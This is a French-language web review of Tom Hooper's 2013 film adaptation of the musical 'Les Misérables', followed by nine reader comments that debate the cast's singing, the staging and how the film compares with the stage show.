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Les Misérables (Critique)

Le samedi 9 février 2013 à 9 h 25 min | Par | Rubrique : Cinéma, Critique

Réalisation : Tom Hooper
Scénario : William Nicholson d’après la comédie musicale homonyme de Claude-Michel Schönberg, Alain Boublil et Herbert Kretzmer

Avec : Hugh Jackman, Russell Crowe, Sacha Baron Cohen, Helena Bonham Carter, Anne Hathaway, Amanda Seyfried, Eddie Redmayne, Samantha Barks, Aaron Tveit…

Dans la France du 19e siècle, une histoire poignante de rêves brisés, d’amour malheureux, de passion, de sacrifice et de rédemption : l’affirmation intemporelle de la force inépuisable de l’âme humaine. 
Quand Jean Valjean promet à Fantine de sauver sa fille Cosette du destin tragique dont elle est elle-même victime, la vie du forçat et de la gamine va en être changée à tout jamais.

Notre avis : Depuis quelques années Hollywood s’intéresse de nouveau à la comédie musicale, des films comme Chicago remportant Golden Globes, Oscars et, plus important encore, des bénéfices substantiels. Rien d’étonnant, donc, que les Misérables, qui jouit d’une grande popularité, ait sa version « big screen ». Durant deux heures trente Tom Hooper fait revivre les aventures des personnages de Victor Hugo. Jean Valjean est toujours poursuivi par le monomaniaque Javert. Le condamné (pour avoir volé un pain) a toujours un coeur d’or et sauve Cosette, la fille de cette pauvre Fantine, des griffes des Thénardier, présentés ici en couple tragi comique un rien outrancier. Eponine, l’un des personnages les plus attachants, mourra bien d’amour pour Marius qui ne voit en elle qu’une amie.

Ce musical passe-t-il bien la rampe du grand écran ? Globalement oui, le réalisateur offrant un film à grand spectacle « à l’ancienne »(on attendrait presque le carton « intermission »)  et ne ménageant pas ses efforts dans des reconstitutions historiques soignées, des décors souvent splendides. L’autre parti pris, dont on parle énormément et pour cause (il constitue, d’un point de vue technique, une véritable prouesse) correspond à l’interprétation « en direct » des chansons. Ce parti pris constitue un atout indéniable et participe amplement à la réussite du film. Bien entendu certains comédiens s’en sortent mieux que d’autres : Hugh Jackman semble à l’aise, ce qui n’est pas le cas de Russell Crowe, plus limité vocalement. Par ailleurs la mise en scène n’est jamais meilleure que lorsqu’elle délaisse un montage saccadé, trop rythmé, pour des plans longs, aptes à saisir l’émotion. Ainsi Anne Hathaway bénéficie-t-elle d’un plan séquence qui rend son interprétation de « I Dreamed A Dream » particulièrement touchante. Le film ouvrira-t-il des perspectives pour un public qui ne connait déjà le spectacle ? C’est à souhaiter, d’autant que sur scène un souffle lyrique emporte davantage l’oeuvre que sur l’écran et que la version scénique développe une plus grande proximité avec les personnages. Musicalement, l’orchestration joue sur de nouvelles nuances tout à fait séduisantes, en adéquation avec la mise en scène. Plusieurs airs sont tronqués, quelques dialogues s’interposent, ce qui est tout naturel dans le cadre d’une véritable adaptation d’un musical. Il aurait été dommage de respecter à la lettre le spectacle, cette nouvelle vision offre d’autres perspectives. Quant à « Suddenly », la chanson inédite, sorte de soliloque de Valjean qui vient d’extraire Cosette des griffes des Thénardier, non seulement elle permet à ses auteurs de concourir pour les Oscars, mais elle séduit par sa délicatesse. Un film à grand spectacle, donc, à découvrir.

Lire notre interview de Claude-Michel Schönberg
Lire notre interview de Cameron Mackintosh
Voir les photos de l’avant-première parisienne

 

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9 commentaires
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  1. J’ai vu le film mercredi. Pas simple de ne pas comparer avec les 2 versions sceniques si marquantes mais je vais essayer. Si je ne juge que le film en tant que tel c’est un très bon film. Pour moi ça ne vaut pas les versions scene mais ça je m’en doutais. Je pense que ça n’est pas un chef d’oeuvre mais un très bon film.

    Les plus : Hugh Jackman (hormis une chanson), Anne Hathaway, l’ouverture plutôt réussie même si on entend pas le début des bagnards, le final, le soliloquy de Valjean, Do you Hear the people sing, Gavroche est plus présent que sur scene, le Confrontation Valjean Javert. Et la révélation du film : Eddie Redmayne qui est très très bon (la production du film aurait du le pousser davantage pour une nomination aux oscars. Il ne l’aurait pas volé !)

    J’y suis allé avec une appréhension sur ce qui a fait tant parler : les gros plans pendant les solos. Je n’ai pas vu où etait le problème. Ils ne sont pas si flagrants que ça hormis sur I dreamed a dream et 3 ou 4 chansons et surtout ne m’ont pas genés. Tout au plus 1 ou 2 autres plans sur Hathaway durant IDAD n’aurait ps ét de trop.

    J’ai trouvé le film très bon jusqu’au début du « 2ème acte » (Do you hear the people sing)

    Les moins : après « Do you hear the people sing », il y’a le passage des barricades qui est un peu cheap et helas trop long . Il faut dire que cette partie des Misérables n’a jamais été ma préférée. Bref en gros la dernière heure du film est un peu poussive malgré quelques bon moments. Dans les moins il y’a aussi le Bring Him Home de Jackman auquel je n’ai pas trop accroché. enfin je suis assez reservé sur Russel Crowe malgré quelques moments honorables de sa part ce qui est très dommage car sans un grand Javert il manque quelque chose au film. Que dire d’autres : One day more est moins puissant mais provoque toujours tout de même quelque chose. Certaines critiques disent « mise en scene étriquée » : sur la première moitié du film ça n’est pas ressenti. Sur la seconde, mouai un peu mais enfin bon…

    Pour conclure : allez y ! Et si vous detestez les comédies musicales n’y allez pas ou alors avant d’aller voir le film, écoutez un peu sur le net des versions des Misérables, je pense que c’est mieux.

  2. Bravo et merci pour cette critique, qui me réconcilie avec les journalistes « culture » parisiens. Pas d’éloge dithyrambique, mais une vraie critique objective d’expert qui compare le film avec ce à quoi il doit être comparé : le « musical » créé à Londres. Non le film n’est pas parfait mais il ne mérite pas le démolissage en règle auquel il a droit dans la presse cinéma (j en lis beaucoup) et les pages culturelles des hebdos français.

    Je suis une grande fan de Hugh Jackman et j’attendais beaucoup de son Jean Valjean. Il s’en tire très bien au niveau jeu et présence mais vocalement, je sais qu’il est capable de beaucoup mieux. Dès l’annonce du film, je savais que sa tessiture vocale ne lui permettrait pas de nous livrer un « Bring Him Home » digne de celui de Colm Wilkinson ou de John Owen Jones (MA référence depuis 2010 au Châtelet). Mais finalement Hugh ne s’en tire pas si mal.

    La vraie erreur de casting est Russell Crowe qui massacre allègrement le dernier solo de Javert. Anne Hathaway, Eddie Redmayne s’en tirent formidablement bien mais eux, contrairement à Jackman et Crowe, n’ont pas à se coltiner les récitatifs que j’aurais préféré dialogués (et ces récitatifs à rallonge ne sont même pas dans la version scénique).
    Les puristes de Hugo râlent après le traitement donné au couple Thénardier qui assure la respiration comique, loin des ignobles crapules du roman mais c’est l’adaptation du « musical » qui veut çà et dans le film, ils sont bien campés par HBC et SBC.

    Tous les autres assurent un max mais c’est normal, ils baignent dans « Les Mis » depuis longtemps.

    Ce qui est le plus décevant par rapport à la version scénique, c’est la scène de la fuite dans les égoûts et du suicide. Sur ce point là, la mise en scène de la version du 25ème anniversaire était formidable.

    Pour la compréhension globale, c’est bien que Hooper ait remis quelques scènes en phase avec Hugo : la fuite de Valjean et Cosette dans les rues de Paris , jusqu’au mur du couvent. Le fait que c’est Gavroche qui va porter la lettre et non pas Eponine… Enjolras et Grantaire. Par contre, le rajout de Mr Gillenormand est erroné et n’apporte rien.

    Cameron Mackintosh refuse de pronostiquer l’accueil du public français à ce film (si on lit entre les lignes de son interview, il n’y croit pas trop) et il a bien raison. Le public français est le seul au monde qui boude le musical « Les Misérables » depuis 27 ans . C’est une question de culture : « çà chante tout le temps !!!! » , « pas touche à Victor Hugo », « Jean Valjean qui cause anglais = hérésie »).

    Bref, si le film de Tom Hooper dépasse le million d’entrées en France, je mange mon DVD d’ « Oklahoma ! ».

  3. Totalement d’accord avec Chris de la critique précédente. Mais il me semble qu’avec Chris, ce n’est pas la première fois que nous sommes d’accord. 😉

  4. Salut Jane ! Oui effectivement d’autant que je te rejoins sur ta critique en particulier sur les récitatifs non présents dans la version scenique.
    Sinon Miracle j’ai trouvé un critique pas trop mal dans le mensuel Cinéma Teaser. Paris Match et Le Parisien devraient être sympa aussi (ils sont partenaires). La critique la plus pitoyable etant celle de Marianne ( critique d’un ridicule qui ne fait que comparer au bouquin mais ne juge pas le film en tant que film). J’espère que les journaux dit populaires (20 mns, metro, télé jours, le Figaro) seront moins durs. Tout cela est tellement excessif que ça en devient ridicule.

  5. Alors, j’ai vu le film tant attendu …
    Hélas, cela ne m’est absolument pas en valeur les chansons mais pire … les amis avec qui j’étais et qui n’ont jamais vu le spectacle m’ont tout simplemant lancé un tonitruant : »c’est de cette nullité que tu nous rabaches les oreilles et en plus tu voulais qu’on aille à Londres le voir … »
    Bref un mauvais film ou plus exactement une tragédie cinématographique.
    Je ne parle meme pas des voix … comment accepté que les chansons soient massacrées comme elles le sont (il aurait fallu au moins des comédiens avec des voix).
    Bref, oublions vite ce film et continuosn d’aller voir le spectacle qui lui est un chef d’oeuvre.

  6. je ne vais pas m’étendre…. c’est un ratage stylistique complet ….. on ne peut donner un aspect minimaliste, intimiste à une partition qui est tout en lyrisme et ampleur…. voir au service d’un pathos grandiloquent ce qui rend cette œuvre jouissive…. aucun souffle de mise en scène (certes bonne mais ne servant pas pas la partitions de Schoenberg)… les comédiens sont excellents, servant admirablement la sensibilité, le texte des chansons…. mais sans la voix ni le souffle nécessaire aux airs…. tous ces personnages sont extravertis dans leur sentiments, il faut leur donner le souffle de s’exprimer…. et ici ils sont étouffés et par trop contraints dans le cadre….. le travail de Schoenberg et Boublil n’a pas le style intimiste d’un Sondheim, Adams ou d’un Phil Glass….. on est plus proche de LLoyd webber voir d’un Puccini…. du coup pas d’ampleur orchestrale, pas de frisson au service de cette populaire sinon couvrant les voix qui ne demanderaient qu’à se développer. le final du premier acte fait pour lever les foules est à mon sens complètement raté ainsi que tout le début, à l’image lyrique dans sa forme mais pas de son , pas de voix, ….Dommage dommage….. Heureusement le spectacle est toujours là quelque part dans le monde à encore de beaux soirs devant lui…..

  7. Je connais bien l’oeuvre, j’ai vu le spectacle sur scène un certain nombre de fois, à Paris en français lors de sa création, et à Londres, à New York, à San Francisco, à Paris etc… en anglais.
    Le film privilégie, et c’est un choix de mise en scène qui se défend, la performance dramatique des comédiens à leur performance vocale. C’est très payant quand on a affaire à Anne Hathaway ou à Aaron Tveit (Enjolras, à mon sens la VRAIE révélation du film), nettement moins quand il s’agit de Russel Crowe, dont les différentes interventions chantées m’ont été particulièrement pénibles, et j’ai trouvé son Javert monolithique, sans ambiguité, sans contraste. Il dessert les deux sublimes chansons de Javert, « Stars » et la chanson du suicide. Un miscasting complet en ce qui le concerne. Hugh Jackman, que j’adore, est meilleur comédien que chanteur, je trouve son vibrato très présent (parfois même jusque dans les récitatifs !!) et très encombrant, lassant à la longue. Mais il s’est fait une « gueule » qui rend son Jône Valjône inoubliable. J’ai trouvé le jeune Marius peu charismatique, pas très viril, chantant beaucoup en voix de tête. Mais lui aussi est meilleur – à mon goût- comédien que chanteur. J’ai craint le pire au début de « Empty Chairs At Empty Tables », la chanson qui me fait fondre en larmes à chaque écoute, mais finalement l’émotion est là, ça fonctionne. Fantine, les Thénardier, Cosette enfant, Gavroche, Eponine, sont tous excellents.
    Pour faire bref, je pense que si le film n’est pas avare en costumes, figuration, mouvements de foule, mouvements de caméra, il lui manque quand même l’essentiel : un vrai souffle épique, un lyrisme et une puissance qui faisaient le succès des Misérables sur scène. C’est peut-être dû au mixage : pour le cinéma, les voix sont vraiment placées « en avant » par rapport à la musique, et ça m’a souvent gêné. Le son de la salle de l’UGC porte Maillot n’était peut-être pas non plus au top. Je pense aller revoir le film sur un très grand écran avec un son qui déchire. Toutes ces réserves étant faites, je dois reconnaître ne pas m’être ennuyé une seconde (sur les 9600 du film) et avoir passé un bon moment. Avec parfois la chair de poule et les larmes aux yeux.

  8. Voir ce film m’a carrément mis en colère : comment peut-on oser monter une comédie musicale en dédaignant à ce point les voix ? c’est du pur massacre. On a l’impression d’écouter des gens qui chantent dans leur salle de bains pendant que la musique passe dans le poste de radio dans la cuisine.
    Quelle stupidité d’avoir enregistré les voix en direct ! Et quelle autre méga-stupidité de faire chanter avec des voix annonantes murmurantes et hésitantes sous pretexte que le personnage souffre ou meurt (pour Anne Hattaway/Fantine, c’est un festival) . Pour faire plus réaliste ? Mais bordel de m… un personnage qui chante, ça ne peut PAS être réaliste ! Est-ce qu’on imagine Violetta chanter avec une voix souffreteuse pendant qu’elle se meure dans la Traviata ? Si je suis resté jusqu’au bout, c’était pour entendre mes airs préférés comme One day more, Do you hear the people sing (les 2 manquant singulièrement d’ampleur), On my own (Samantha Barks/Eponine pas mal finalement), et Empty chairs at empty tables (Edy Redmayne/Marius est la plus grosse erreur de casting de ce film ; Aaron Tveit/ Enjolras est 10 fois mieux). La seule qui s’en sort bien c’est Amanda Seyfried/Cosette : on savait déjà qu’elle chantait bien (Mamma mia!), et, comme elle ne meurt pas, elle peut garder une voix claire…
    Je garde encore le souvenir des voix de Robert Marien, Louise Pitre et Jérôme Pradon en 1991 ; celles du film, je préfère les oublier de suite.

  9. Ce film ne rend pas hommage au 31 années de performance live et aux artistes qui ont donnés leurs talents afin de faire vivre ce chef d’oeuvre musicale;

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